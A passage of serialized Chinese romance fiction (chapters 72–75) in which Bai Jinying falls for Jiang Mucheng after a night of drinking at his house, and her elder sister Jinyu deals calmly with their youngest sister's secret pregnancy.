而在白瑾璎身后,紧跟着焦头烂额追出来的白瑾瑜,看见他来了,反倒停了脚步,纠结再三,还是冲他道:“眼下我是顾此失彼,托你照看好瑾璎,可千万别让她犯傻呀!” 第72章 第 72 章 “你现在还要躲我,那我…… 仍旧是车上, 白瑾璎在副手座上掉着眼泪,和自己接她下学时的情境,实在有着微妙的相似。 蒋牧城轻声问:“我们去哪里呢?” 去哪里呢?白瑾璎自问, 去哪里可以消解这些烦闷和愁苦呢?那么多的人, 将消愁的法子寄托在一个酒字上, 那当真管用吗?自己虽没有试过, 可设若一点用没有, 何以人人都说“一醉解千愁”呢? 于是瓮声瓮气道:“我们去荣华大饭店,或者别的饭店也行,我想喝酒。” 蒋牧城长久地看了她一眼,并没有说什么, 只是手上转动了方向盘, 向某一条路上开去。 白瑾璎靠在车座椅上, 夜里带着凉意的风透过车窗扑到脸上,多少叫人舒服了一点。她似睡非睡地阖着眼, 等眼睛再一次睁开时, 看到窗外的景色是很幽静的, 似乎不像有大饭店的热闹样子, 狐疑道:“我们这是去哪里?” 蒋牧城道:“这个时间,大饭店正是人声鼎沸的时候, 人来人往, 是很闹心的。横竖你想要喝酒, 我带你去一个有酒的地方就是了。” 他说这话时, 车已经开过气派的黄铜大门,在一处洋楼前停了下来。而白瑾璎也借由周遭的景致,认出这里是蒋牧城家里的公馆了。 蒋公馆的制式和从前的白公馆不大一样,从前在白公馆, 大家都是住在格外宽敞的一栋大洋楼里,各人有各人的房间。蒋公馆则是分着独栋的小洋楼,各自为政,晚饭或者家庭小聚会,则都在蒋公蒋太太所在的主楼进行。 蒋牧城几乎是瞬间做了决断,把白瑾璎带来自己居住的小洋楼。 一来,自己的母亲睡得早,现在已接近她要休息的时间了,不方便去打扰。二来,深更半夜,自己把哭得这样可怜的白瑾璎带回家来,不说她正是想找清静,恐怕不乐意受到别人过多的关注,单说自己是以什么身份带她来的呢? 在白瑾璎没有明确的首肯之前,这就不好解释。 再一点,就是他的私心了。母亲待白瑾璎一向很亲切,看到她哭,势必要拉了去百般的安慰,那末,自己也就别想再见到人了。 是以来自己的洋楼,既可以满足私心,也少了许多麻烦。且他手底下的听差,嘴都很严,绝不会有不好的流言走漏出去,即便白瑾璎不接受自己,对于她的名声,也不会有损害的。 这样想着,虽然认为处处稳妥,多少有一种失落在心底划过。 而在白瑾璎这里,低落之余,反倒生出一点新奇。 往年跟着爸爸做客的时候,不是没来过蒋公馆,不过用餐谈话都是在主楼,从没来过蒋牧城的领地。何况当时白瑾瑜和蒋牧城势同水火,别说蒋牧城不发出邀请,根本白瑾瑜自己就是绕道而行,不屑于去看,自己跟在白瑾瑜身边,当然也就没有见过。 只是这一份新奇,很快就被喝酒的念头盖过了。 一走进洋楼的会客厅,还不等在沙发上坐下,就问:“酒呢?现在就有吗?” 蒋牧城无法,只好叫来一个听差,让他取一瓶最温和的红酒。不想那听差人不大机灵,红酒取来了,刚拔了软木塞子,才发现没有拿配套的酒杯来。 蒋牧城刚想让白瑾璎再等一等,没等他说出口,那边白瑾璎已经从茶几上自取了一只茶杯,倒了满满一杯红酒后,径自先喝了起来。 这酒是什么滋味?那真说不大清,总之绝不难喝,过喉是凉的,可流到胃里,又是热乎乎的,颇有一点神奇之感。白瑾璎这个“门外汉”,真就像喝水一样,一下饮了大半杯。 她大概自己都没有察觉,但凡是呆在蒋牧城的身边,便格外的没有警惕心,连从没喝过的洋酒都敢去豪饮,似乎这个人,可以和全然的安全画上等号。这要是换作别的男子,那简直不能够想象。 蒋牧城见她已经喝上了,也就不再拘泥,反而觉得她用茶杯喝洋酒,竟也有一种别样的可爱。在她正对面的沙发上坐下后,问:“酒也喝到了,总该高兴一点了吧?” 而酒是令人迷醉的东西,把理性的堤坝瓦解了,感性的洪水就破闸而出了。 白瑾璎喝着喝着,突然呜咽一声,哭着说:“为什么总有人和我为难呢?” 蒋牧城望着她,沉沉地问:“谁和你为难?那个姓徐的?” 白瑾璎的神情空白了一瞬,似乎是不明所以的样子,随即又有些愤愤然,说:“什么姓徐的?分明是姓缪的!” 她只气愤了这一下子,很快又消沉下去,兀自流了一会儿眼泪,又倾吐道,“想来想去,我这个人有什么本事呢?我不会交际,也不爱热闹,只会啃啃书本,于社会于家庭都是很无用的。” 蒋牧城真想去抱一抱她,几乎腰杆已经使力,人就要从那沙发上站起来了,用了全部的定力,才将那汹涌而来的渴望压抑下去。只是定定地凝望着白瑾璎,郑重道:“胡说八道。你做的够好了,还能要求一个人怎样的好?” 白瑾璎也不知听没听懂,抿了抿嘴角并没有说话,一仰头,把茶杯里的酒液饮尽了。 要白瑾璎喝醉,根本也不必很久,没出十来分钟,她已经红着一张脸伏在了沙发扶手上。两眼紧闭着,时不时的从鼻子里,发出软绵绵撒娇似的轻哼。 蒋牧城自她猛喝了半杯便满脸飞红之后,也知道了她酒量不好,未免她真的喝得不省人事,早已经吩咐佣人收拾好了客房。然而此刻人真的醉倒了,他没有想着立刻去照顾,反而近乎痴迷地,盯着她的睡颜看了许久。 可是不够,不够。 还想看更久,久到最好就是一辈子。 蒋牧城不免为自己的妄念嗤笑一声,回过神后,终于伸手将自己心爱的人,如同抱一片柔软的羽毛似的,抱去了二楼的客房。 白瑾璎被放到被褥上时,难受似的哼哼了两下,扭着被立领包裹住的脖颈,额头也隐约可见饮酒后发热的汗迹。蒋牧城第一反应是找女佣人给白瑾璎换身干净舒服的衣衫,横竖自己姐姐结婚之前,有成箱的衣服堆在家里不曾穿过。 可不知什么缘故,他心里就是不大乐意。 为了支撑这一份不乐意而使之合理,又想,瑾璎是很害羞腼腆的性格,恐怕也不喜欢被不认识的人看见身体,哪怕是个女佣人呢? 于是叫听差拿来了热水和毛巾,自己挽起了衬衫袖子,笨拙又很仔细地替她擦了手脸。视线落到她纤细的脖子上,犹豫片刻,还是用极轻的动作,替她松开了两个扣子,把下巴脖颈,也擦拭了一下。 但他到底没伺候过人,动作也不周全,其间,白瑾璎像是觉得不大舒服,远远地把头扭开了,做一个“讨厌”的表示。等蒋牧城的热毛巾拿开了,她倒是又把头扭回来了。 扭过头时,白瑾璎的眼睛竟是半睁开的,含着一片水光,看得蒋牧城一窒,心跳也像是漏了一拍。想不到四目相对后,那双漂亮的眼睛没甚波澜,木愣愣的,又给闭上了。 蒋牧城气笑道:“把我折腾了一通,就装不认识我吗?”心里又爱又恨,伸出食指就想刮一下白瑾璎秀挺的鼻梁,可最终还是停住了,转而以指尖触碰着发丝,理了理她额角的碎发。 白瑾璎这一醉,真不知天地为何物,连自己睡了几个钟头,都没有概念。迷迷糊糊转醒时,只觉得自己躺在舒适干净的床上,四周昏昏然一片,唯有床头亮着一盏黄调的台灯,再往边上看—— 白瑾瑜吓了一跳,但很快又平复下来。 蒋牧城正坐在床边一把椅子上浅眠,和自己靠得很近。他一手撑着头,一手随意地垂下,搭在自己盖着的被面上。 在他旁边,还放着水盆毛巾,只那里头的水,已经凉透了。 白瑾璎怔怔地望着他,也不知是不是酒精过去了的缘故,此时此刻,她的脑筋格外清晰,想的却不是困住她的那几桩烦心事,而是那道她本以为自己不会去解的爱情的难题。 试问这世上,还有人能像蒋二哥一样待我吗?又还有谁,可以像他一样,让我毫无顾忌地全心去信赖呢? 她突然明白了,很多年前,在白瑾瑜宣布婚约取消的时候,为什么自己看到蒋牧城守在洋楼外的身影会哭了。原来这份好感由来已久,早在那个时候,她的心就偏向了他,觉得这样好的人,不该苦于被别人辜负。 那么他呢?他对我无疑很爱护,那他是不是,是不是—— 白瑾璎下意识地感到胆怯,但和以往不同的是,在那胆怯之后,又莫名生出一阵勇敢,让她轻轻地覆上了蒋牧城搭在她被子上的那一只手。 然而下一秒,那手竟动起来,变换一个姿势,牢牢地将自己的手握住了。 白瑾璎受了一惊,吓得要将手抽回。抬头见蒋牧城已睁开了眼睛,在昏暗房间里唯一靠近光源的所在,那双深沉的眸子闪着摄人的亮光,避无可避,直白地看向自己道:“你现在还要躲我,那我未免太可怜了。” 第73章 第 73 章 好哇!难怪白瑾琪闷声不…… 再说回椿樟街。 刚才的场面一度乱作一团, 白瑾瑜心里像是挂了七八串摇铃,一边刚响过,另一边又响个没完, 真是顾了这头顾不上那头, 不知道先处理哪一桩才好。好在蒋牧城来得及时, 把白瑾璎给接走了, 那白瑾璎的事, 便可以先放一放手,腾出手脚,专心对付白瑾琪的事。 她松一口气,正要再往屋里走, 不成想被站在玄关处的余佰先行拦了下来。 余佰自从把白瑾琪送回来后, 还一句话没有说上呢!她们姐妹三个争执不下的时候, 他是一句话也插不上,自然了, 人家家庭内部的矛盾, 也没有他说话的资格, 只能呆愣愣站在一边听了个全程。 眼下, 好不容易白瑾瑜这位“一家之主”从混乱的中心暂时抽身了,赶紧抓住机会把人拉到一边单独说话。 白瑾瑜忙里抽空, 像是刚注意到还有余佰这么个人, 回想到是他把白瑾琪领回来的, 不管手上多少烦心事, 当下放出友好的一笑,道了声谢,又问他是在哪儿找到人的。 能在白瑾瑜这里获得如此礼待,简直是可以感到荣耀的!余佰都有些飘飘然了, 硬是正了正脸色,压低了声音道:“我就是要和你说呢,怎么样你都算瑾琪小姐的半个监护人,这样的事,我能不和你说吗?我是在西四胡同的平安卫生所遇上瑾琪小姐的哩!” 白瑾瑜皱了皱眉头:“西四胡同?她去那儿干嘛?” 余佰大感赞同道:“就是说!你们有钱人家的小姐,谁会往那小破胡同跑?何况那平安卫生所是我们报社正在暗访调查的所在,那就绝不是个好地方!瑾琪小姐势必是给坏朋友带去的呀!” 遂把今晚的情况简单描述一番,叹气道,“我听你们刚才的话,这才知道不是坏朋友,而是她娘亲带她去的哩!也是荒唐,自己不要孩子,还得叫上女儿一道去打胎,这是什么用意?还挑了这么一家不正规的诊所!唉,好在那陈女士已经走了,不然,可不是把人往歪路上带吗?” 这边,余佰兀自发着感慨,另一边,白瑾瑜心里的震惊并着怒火,简直要直窜上脑门! 好哇!好哇!难怪白瑾琪闷声不响,连陈芳藻来了也瞒得死紧,原来是为了掩盖另一桩大事! 有那么一瞬间,白瑾瑜甚至晕眩了一下,眼前的景象都天旋地转起来。但她很快又稳住心神,不动声色地观察起余佰,见他一门心思发表着正义的演说,似乎真以为怀了孕要去流产的是今早溜之大吉的陈女士,这才放下心来。 客气地又道了一声谢,说:“余先生,今天实在给你添了不少麻烦,没有耽误你的事吧?真对不住。” 余佰这才慌神地看一眼手表,叫道:“哎哟!我还得赶去医院看看那手术失败的姑娘呢,也好做后续的报导。”说话的时候,人已经向洋楼外的马路上冲去了,将帽子摘在手上挥了两下,“密斯白,回见!回见!” 一溜烟,便转过拐角没有影儿了。 外人一走,白瑾瑜便不再压抑心里的怒气,放任那愤怒的野兽冲出闸门。 她回到屋里,手上一挥便将大门关紧,两眼直看向呆站在原地的白瑾琪。那双眼睛里像是烧着两簇熊熊的火焰,而那火焰下一秒就能化作利爪冲出眼眶似的,近乎具象化地传达着怒火。冷笑一声道:“白瑾琪,你真是好样儿的。” 白瑾琪被那骇人的目光看着,只是被念了一声名字,心里就是一抖,吓得一连退开三步不说,本来已止住的眼泪,也像泉水似的又涌了上来。 在她还呆若木鸡的时候,孟西洲已然反应过来。他一看白瑾瑜的脸色就知道事情不好,这是动了大气了,她眼下的样子,显然比刚才更加怒火烧心,恐怕白瑾琪绝不止捅了一个“瞒而不报”的篓子。 当下向远远观望着不敢靠近的虞妈喊道:“劳驾,把你们三小姐先带去她自己的房间。” 白瑾瑜当然不能放行,瞪了孟西洲一眼就要追过去,硬是被他箍着腰拦了下来,“你现在正是气头上,难免说话太凶狠,本来道理站在你这边的,也变成没理了。” 好在他把人拦住了,白瑾琪哪怕腿软,也提了口气拼命迈腿,扶着虞妈逃难似的躲去了楼上。 小兔崽子溜了,自己穷凶极恶地再追到楼上去教训她,那多不好看! 白瑾瑜干脆不追了,恨恨地把孟西洲的手扯开,转身走去了玄关,从自己的手提包里拿出一包女士香烟。那香烟虽然开了封,里头只空出一根的缝隙,可见平时并不怎么抽。 白瑾瑜抽出一支咬在嘴里,又打开客厅茶柜的抽屉翻找火柴,烦躁得头痛欲裂,只想吸一口烟让自己冷静下来,才能思考接下来要怎么做。 她满心只顾着自己的事,不想唇齿间一空,原来是孟西洲把她咬着的香烟抽走了,捏在了手心里。同时另一只手将她伸进抽屉里东翻西找的手握住了捞出来,转过半圈,便被拥进一个怀抱里。 孟西洲抱着她,宽大的手掌一下一下地抚着她的后背,说:“我这个男朋友就在你眼跟前,你宁愿向香烟求一点慰藉,也不来找我。瑾瑜,难道我连一根烟也比不上吗?” 唯其是带笑的语气,不似责备,更像是带着玩笑意味的幽怨诉苦;而那紧贴着她的胸膛又是坚实的、热乎乎的,像一处极富温情可以依靠的所在。 白瑾瑜多久没有体会过这一种依靠了,近乎忘记了这世上还有她可以依靠的人。当下鼻子发酸,忍不住滚落两滴眼泪,沁到孟西洲肩膀处的西装面料里。 她自己倒嫌哭鼻子丢人,吸了两下鼻子,又睁大了眼睛猛眨几下,硬是将眼泪止住了。微微颤抖着嗓音问:“你听到了,瑾琪说我爱控制别人,你呢?你也这么觉得吗?” 其实在她吸鼻子的时候,已经泄露了哭腔,但孟西洲只假装不知道,慢悠悠地回答道:“她还太小了,因为自己的能力太有限,才会觉得处处受人掌控。我可不同,我这么大一个人,还没有自己思考判断的能力吗?设若轻易就能受你的控制,那也未免太小看我。不过——” 他拖着音调,把怀里的白瑾瑜更加抱紧了一点,“即便在感情上受你一点牵制,你又怎知我不是心甘情愿的?” 白瑾瑜一下说不出话来,眼眶似乎又潮湿了,将脸埋在他胸口默默了良久,才闷闷地说了一句:“你不知道,那小东西闯了多大的祸!”那口气虽有些咬牙切齿,比起刚才,已然冷静不少了。 孟西洲“嗯”了一声,也不问是什么祸,只说:“管教小孩子,总是要操很多心,谁让我们瑾瑜是个好姐姐。站在我的角度,为着我的女友是个好姐姐,她有什么需要,我都很愿意相帮。” 从胸口捧起她的脸,拇指熨过她微微泛红的眼下肌肤,故意逗她开心似的道:“你不也说,你们老三是个感情充沛的‘艺术家吗?你带着一肚子火气和她谈话,她非但听不进去,情绪上来了,更要用她充沛的感情来淹没你了。到时候,问题没有解决不说,你还未必能吵的赢她。” 见白瑾瑜的嘴角总算弯了一弯,拇指食指微微用一点力,在她脸上轻捏了一下。 白瑾瑜还从没被人这样摆弄过,不大习惯,拨开他的手轻哼了一声,道:“我何必非要吵赢她?” 对于她的好胜心,孟西洲看破不说破,又顺了两下她的后背,这才松开怀抱。在客厅中央的皮沙发上施施然地坐下,望着她道:“你们家里的事,我不便参与。不过我就坐在这里,要是谈得不好,你下来,我们再商量办法。” 语言真有一种无形的力量。 白瑾瑜站在二楼白瑾琪的房门外,一想到马上要和这个不让人省心的妹妹谈话,心里固然烦躁;可再想到孟西洲就守在楼下,自己有这一张后盾,不拘什么麻烦,总可以一道想法子解决,心里的急躁,也就平缓下来。 伸手敲了敲房门。 里头的人似乎哼哼唧唧了一声,随后又没了动静。 白瑾瑜等了几秒钟后,径自把门扭开了。看见白瑾琪盖了被子蜷坐在床上,一双惊慌的眼睛飞快地闪躲开,又愧疚又委屈似的,咬着嘴唇默不吭声。 这副可怜兮兮的样子,好像自己张口就会骂她似的。 白瑾瑜在心里哼了一声,轻手轻脚关上门后,拿了把椅子远远地坐下了。平静地发问道:“到底怎么回事?孩子是谁的?同学?” 白瑾琪蜷着的身子抖了一抖,细声细气地“呜”了一声,又抽噎着吸起鼻子来,“不当心的” 白瑾瑜无力到了极点,甚至有点想要发笑:“我看你胆大得很,这也能不当心吗?”叹了口气,又问,“这么大的事,为什么不和我说?我不比你母亲更靠谱吗?” 孟西洲的话,她听进去了,是以说话的口吻很淡也很慢,并不为发一顿脾气,似乎只是心平气和地想讨一个答案。 白瑾琪受这平和气氛的影响,终于抬起头来望了白瑾瑜一眼,眼睛一眨,睫毛便又沾上了泪珠,小猫似的嘤咛道:“我不敢我、要是告诉你我犯了这样大的错,你会不会更瞧不上我呢?” 第74章 第 74 章 “那么,我是求到了?”…… 白瑾璎在蒋公馆的客房里睡了一晚, 因为喝多了酒的缘故,第二天起来时还觉得混陶陶的。 好在蒋牧城很周全,公馆里的东西也都一应俱全, 连换洗的衣物, 都可以直接拿蒋牧城的姐姐搁在家里的新衣服穿。唯其蒋小姐是个摩登女子, 衣服大多是颜色鲜亮的洋装, 佣人们翻找了好一阵, 才找出一身浅黄色带大花边领子的套裙。 白瑾璎换好了衣服坐下梳头,心里却慌乱地打着鼓。 昨天半夜里她醉酒醒了,听见蒋牧城说自己“太可怜”,后来怎么样了呢? 白瑾璎记得自己并没有松开手, 任凭蒋牧城将她的手握着, 甚至勾着手指, 也轻轻地回握住了他,小声地说:“你才不可怜”她也不忍心让他可怜啊。 蒋牧城的眼底亮起幽光, 定定地望着她, 嘴角却挂着一抹苦笑似的, 低声道:“我不可怜吗?我想求一样事物, 却怎么也求不到。”由他目光之所向看来,这样东西是什么, 简直不言而喻。 白瑾璎被他盯得脸颊滚烫, 也不知道是醉意, 还是羞意, 只好把半边脸颊埋进枕头里,闷闷地发声道:“你怎么知道没有求到呢?” 她不敢看蒋牧城,故而只听见头顶传来很轻的一声笑,继而床边一陷, 是蒋牧城起身坐了过来。他伸手过来,手背贴了贴白瑾璎的额头脸颊,似乎是在探她脸上的温度,问道:“那么,我是求到了?” 白瑾璎很不好意思,又为他戏弄人似的明知故问感到很委屈似的,赌气道:“求来干嘛呢,也没有什么用” 蒋牧城的手本来就探在她的脸颊边,当下伸出食指抵住她的嘴唇,“嘘”了一声道:“胡说。什么没用,你不知道我有多喜欢。” 昏暗寂静的夜里,谁都把声音压得低低的,加上蒋牧城的手松开她后,一直隔着被子在她背上轻拍着。醉意再添温情,那就更催发出困倦了,这之后不多久,自己便迷糊着睡了过去。 白瑾璎望着镜子里的自己,猛地站起身,在房间里踱起步来。来来回回好几圈,摇曳不停的心才稍稍平定下来,鼓起勇气下楼去了。 餐桌旁,蒋牧城早已经坐定,看见人下来了,目光在她身上停留了许久,才让听差把热粥小菜端上来。望着白瑾璎微笑道:“好漂亮。”又问,“头疼吗?等下吃完早饭,要不要去公园里散一散心?” 白瑾璎拿勺子搅着热粥,摇了摇头,腼腆道:“不疼,我想早点回家去,也不知道家里是什么情况,我昨晚临阵逃跑,够没有责任心了。” 蒋牧城便说:“那好,一会儿我送你回去。吃吧。” 白瑾璎向他微笑一下,这就是同意了。 只是用饭到一半,蒋牧城又开口:“你的衣服,佣人已经拿去洗了,恐怕一时片刻也干不了。我的意思是,干脆就放在我这里,万一你以后过来,也可以用得上。” 白瑾璎心里一跳,险些被咽到一半的粥呛着,讷讷地“哦”了两声,多余的一句也不敢说。 蒋牧城抿着嘴唇,倒像有些不满意似的,但也没有咄咄逼人地追问。直到两人安静地用完了早饭,彼此站起来的时候,他才几个大步抢到白瑾璎的身边,手掌虚握住她的胳膊道:“瑾璎,为防万一,我还是要确认一句。昨晚说的话,你还记得吧?” 白瑾璎即便没有回头,也能感受到那灼灼的目光此刻正落在自己身上。 为着这一句话,顿时又心跳如雷,两颊飞红。可饶是如此,还是转过身,挽了一下他有力的小臂,抿着微笑说:“当然记得,你才是不要忘了。” 如果说直到刚才,蒋牧城的动作都是很克制的,在这句答复之后,便好像越过了一道界线,顷刻间变得不同了。他的神态整个柔和下来,手臂环过白瑾璎的腰肢,一个郑重的吻便落在了额头上。 蒋牧城抱着她叫了一声“瑾璎”,也不说什么事,沉沉地发着笑意,又念道:“瑾璎。” 白瑾璎简直觉得他有一些粘人,但是初初确定关系,这似乎又是可以理解的。脉脉地依偎了一会儿,想到家里白瑾琪的事还有待解决,又生出惭愧之情,催着蒋牧城送自己回家。 想不到刚走出蒋牧城的洋楼,远远便看见一辆洋车由大门的方向开了进来。同时,一个听差跑过来报告道:“先生,白小姐来了,说来接人哩!” 那车开到近前停下,里头的人拉开了侧窗上挂的漏雪纱,果然露出白瑾瑜一张明媚的脸,想不到她是亲自开了车过来的。 再说白瑾瑜,一路开车过来的时候,心情是很舒朗的。 她昨晚和白瑾琪深谈了足有一个多钟头,才惊觉彼此之间,有许多相互误解或蒙昧之处,譬如自己何时对白瑾琪瞧不上眼了?再看白瑾琪对她的看法在意至极,倒像是很崇拜自己的样子。而后,又听白瑾琪说,很怕让自己和白瑾璎的名声受累,她顿时又感到动容欣慰,觉得这个小孩子,并不是不懂事的呀,心里有再大的气,也都消了。 至于她肚子里的孩子,那是小事,既然瑾琪自己也不要,到正规的大医院里拿掉就是。 倒是害孟西洲在楼下等了许久,走的时候,都是午夜的钟点了。 不过今早出门前,他倒是又挂了个电话来,知道这边已没事了,便半开玩笑地讨要“嘉奖”,道:“我虽然不敢自称‘功臣,要一点奖励,并不为过吧?我昨晚都没有睡好,越想,越觉得自己在你眼里不大值钱。” 委委屈屈地玩了一个手段,让白瑾瑜答应了“补偿一二”,才互道了再见。 白瑾瑜的心情固然舒畅,但在看见蒋牧城的手牢牢地牵着白瑾璎时,尽管心里已料到了有此进展,到底觉得被这一幕扎到了眼睛。 是以白瑾璎一坐进副手座,她也不给这一对小鸳鸯再说上两句的时间,便急匆匆地将汽车发动起来了。一转头,见白瑾璎的目光看向车外,和蒋牧城很惜别的样子,忍不住酸道:“别看了,他昨晚上没有极力地凑过来,让你看个够吗?” 视线又落回到她身上,哼了一声,“他还让你换衣服了?” 白瑾璎屡屡被她说中羞窘之处,当下收回目光很规矩地坐好,辩解说:“是我自己换的”看到白瑾瑜脸上揶揄的神态,立刻窘得说不下去了。 还是白瑾瑜先破功地大笑起来,道:“我不逗你了,还是先说老三的事吧。我今天不用司机,自己开了车来,就是想单独告诉你,不让别人听到。” 白瑾璎当下无暇他顾,愧疚道:“是,我昨天当了一回逃兵,把这一堆麻烦事都留给了你,是我的不对。” 白瑾瑜向她微笑一下,说:“你有什么事,一向喜欢憋在心里不说,要不是你昨天‘逃了这一下,我还不知道,你的精神也要被压垮了。是以看你发泄出来,我心里反倒松一口气。” 这话非但没有责备的意思,相反全是安慰,又怕她心里的内疚作祟,故意夸张地叹气道:“唉,谁让我是家里最大的姐姐,底下小的有什么事,我怎么能不管一下?等瑾琪的事完了,很快就轮到你了。” 白瑾璎一双满含着动容的眼睛,简直没法从白瑾瑜身上移开,半晌才开口追问:“瑾琪的事怎么样了呢?我看你心情不坏的样子,结果总不会太差吧?” 白瑾瑜沉吟了一下,道:“瑾琪的事,有好有坏,不过在我看来,坏的那一部分,完完全全是可以补救的。” 说罢,将白瑾琪古怪行迹的缘由,都简略讲了讲,又说,“你就当我和她是吵架讲和了,她怀孕的事,你装不知道就好。别看她平时张牙舞爪的,心里承受的压力,也是不小。” 白瑾璎真想不到陈芳藻事件的背后,还藏了这样一件大事!一面觉得白瑾琪实在是胆大胡来,什么都敢瞎尝试;一面又感慨她重重思虑之下的不易,不知有多惊惧无措。 只是事情已经发生了,再去追究对错,就没有意义,只能从好的方面去想罢。 于是思忖着道:“我、我也不知说什么好好在发现得早,瑾琪也没有真的糊涂到在那小诊所做手术。唉,望她跌了这个跟头,往后都能引以为戒,在感情这件事上谨慎一点。” 白瑾瑜听着,很有趣味地瞥了她一眼,道:“谨慎一点?像你一样的谨慎吗?我看,你就是谨慎太过了,最好把瑾琪的胆子分给你一点,那就——” 她本来只是随口玩笑一句,觉得以白瑾璎的年龄,也是时候淌一淌爱情之河了。但猛地想到在瑾璎上车之前,蒋牧城把她的手牵得,牢得和什么也似,心里又是一沉:再谨慎有什么用?架不住精明的猎人就蹲守在边上,寻一个间隙,到底把这块肉剜走了! 想到这里,心气儿又不大顺了。 第75章 第 75 章 你属羊他属虎,你老和他…… 椿樟街转眼就到, 白瑾璎一走进家门,原本乖巧坐在沙发上等的白瑾琪便一路小跑过来,小兽似的往她怀里扑, 又可怜兮兮地喊了她一声“姐姐”, 向她求和。 白瑾璎本来也不怪她, 毋宁说她自己还带了点愧疚的心理, 顺着她的背道:“既然说开了, 那就没事了,有什么困难,咱们总能一道解决。” 当务之急要解决的,就是自己肚子里的东西了。 白瑾瑜昨晚已经向自己打了保票, 白瑾琪倒不是不相信她, 这个姐姐一向言出必行, 有她一句话,等于有了七成的底气, 只是她自己还是个小孩呢, 就要去弄走肚子里的小孩, 哪儿有不怕的。 白瑾琪靠在白瑾璎的怀里, 一双湿漉漉的眼睛不由得看向后进门的白瑾瑜,见她很沉着地含着微笑向自己点了点头, 既有“我很守约定, 没有把你怀孕的事告诉瑾璎, 放心放心”的意思, 又像在说一切有她,你肚子里的孩子,也不光是你一个人的事。 不啻于给她喂了一颗定心丸,心里总算安定一点。 姐妹三个总算又和和气气地聚在一起, 虞妈激动得几乎要拿出帕子来抹一抹眼泪了,当下迎出来道:“回来就好,都回来就好。今天早上都没准备什么,尤其是大小姐,没吃几口就出门接人去了,折腾一个早上,哪儿有不饿的。不如中饭就早一点摆吧?” 说着,已经让吴妈把热气腾腾的饭菜端上了桌。 中午的菜色格外丰盛,尤其中间一锅玉米排骨汤,是从早上就炖起来的。除了有表示庆祝的意思,也是白瑾瑜昨晚特意叮嘱过她,要做些有营养的。 虞妈倒没有多想,只觉得很应该如此,看昨天她们昨晚吵成那样,又是发急又是哭喊,眼泪不要钱似的抛。都说“十滴血生一滴汗,十滴汗生一滴泪”,哭是很伤精神的哩! 白瑾瑜早上接人心切,现在真是饿了,也就不客气,径自在桌边坐下。同时指了正中的位置对白瑾琪道:“你坐这儿。”这位子正对着一盘大虾和鲜香的排骨汤,方便她多夹多吃。 设若真要去医院做打胎的手术,不把身体养好可不行,总之决不能像她前段时间那样节食少吃。 再看另一个妹妹。白瑾璎早上呆在蒋公馆,姓蒋的决计对她大献殷勤,恐怕是吃得饱饱的才放她出来,便对白瑾璎道:“现在离早饭时间不过多久,你大概还不饿,就陪着我们随便吃一点吧。” 话是这样说,心里却老大不舒服,不由得又想起一件以前的事来。 那还是没有解除婚约的时候,姓蒋的为着应付他母亲,点卯似的,时不时要上她们家做客。在她这一边呢,受了白齐盛一顿教训后,只能露面接待,偏偏心里恨得牙痒痒,便带上白瑾璎一起,至少在人数上占据优势。 可想而知,那气氛有多么冷多么坏。 连白瑾璎这个安安静静写作业的人,都难免受到影响,在白瑾瑜冲着对面这个道貌岸然的人发出冷笑的时候,小心翼翼地抬头往两边各瞅一眼,生怕他们在家里大吵起来。 因为是在自己家,白瑾瑜很有主场意识,自顾自写信或者看杂志,间或和旁边的白瑾璎闲聊几句,彻底将蒋牧城晾在一边。心里望他识趣一点,能自己走开。 想不到几次过后,倒给她看出一点端倪来——何以这姓蒋的能一言不发地坐一个钟头,可每每在瑾璎说完话后,就要试图去接话呢?何以瑾璎的作业一写完,他就很自发地伸手接过来,给她检查呢? 白瑾瑜心里存了疑问,有一回,故意在白瑾璎写作业的时候,把她一绺头发绕在手里把玩。果然,蒋牧城的目光总是隐隐落在自己手上,眉头也微微地拧着。 白瑾瑜心里顿时明了:原来姓蒋的不是来膈应她,是来和她抢东西了!真是好大的胆子! 她心里的火气压不住,手上难免失掉分寸,不当心把白瑾璎扯疼了,闷闷地哼了一声。白瑾瑜自己也是一惊,立刻松开手,又去给她按揉那一块头皮,搞得白瑾璎很不好意思似的,理着头发说:“没关系。” 当事人自己都说没关系了,却有别人替她打抱不平。 平时沉默是金的蒋牧城瞪了白瑾瑜一眼,冷着脸道:“你坐着就坐着,做什么乱动别人?” 此刻,白瑾瑜再看他,俨然已经像是在看敌人了,冷笑道:“我家里的人,我想怎么动就怎么动,你倒是想也动不了呢!” 这话一出口,对面人的脸色当即冷沉下去。白瑾瑜虽逞了口舌之快,但一想到姓蒋的狼子野心,非但不觉得痛快,一张脸也是阴沉沉的,竟不再恋战,像不当心露富的人急于藏起财宝似的,匆匆忙带着白瑾璎上楼去了。 就是从那一次开始,对蒋牧城抱起了防备的心思,可惜严防死守,还是没能够防住。 可话又说回来——白瑾瑜悄悄望了一眼对面的白瑾璎,心想,也许只有我一个人抱了反对的心思,这个漂漂亮亮的小人儿,未必不愿意呀。自己固然舍不得将她拱手让人,可一味地挤兑那姓蒋的,有什么用呢?人家刚好可以利用这一点,狠狠卖一通可怜! 她握了筷子,兀自纠结思忖着,另一边白瑾琪放下了悬着的心,反倒活泛起来。 一双黑葡萄似的眼睛在白瑾璎身上转了两圈,惊奇道:“咦,二姐姐,你这衣服是新买的吗?没见你穿过这样带大花样的洋装呢,真好看。” 说到一半,猛然想到白瑾璎昨晚是由蒋牧城接走照顾的,走的时候别说皮包手袋了,连外衣都没有带,今天又是白瑾瑜一早去接的人,那这衣服只能是——她像是领悟到了什么,抿着嘴偷笑起来,小声问白瑾璎道:“那你和蒋二哥,这就算在一起了?” 不等白瑾璎回答,先听到白瑾瑜老大不满意地哼了一声。 白瑾琪刚好伸筷子夹了一只顶大的虾,还没挨上碗里的米饭,就被这声冷哼吓了一跳,手上一个转弯,就把虾送去了白瑾瑜的碗里。 白瑾瑜瞥了她一眼,见老三正讨巧卖乖地冲自己眨眼,到底笑了一下,把虾夹还给她,说:“你自己吃。”沉默一下,还是对老二道:“瑾璎,你真不再考虑一下吗?你瞧,你属羊他属虎,你老和他待在一起,那不是羊入虎口吗?” 白瑾琪正津津有味地吮着虾壳,随口嘟囔道:“现在都不兴看生肖了”在挨了白瑾瑜一记眼神后乖觉地闭上嘴。 最后,还是白瑾璎搅着碗里的汤小声道:“是啊,现在也不兴看生肖了呀。”这话是表示什么意思,白瑾瑜还能听不懂吗?何况她说的时候,脸上沁出一点羞涩的红晕来,白瑾瑜更没有话说了。 白瑾琪在边上察言观色,觉得白瑾瑜对于二姐姐和蒋二哥恋爱的态度是有些气咻咻的,怕触她霉头,是以一顿饭都不大敢开口说话。 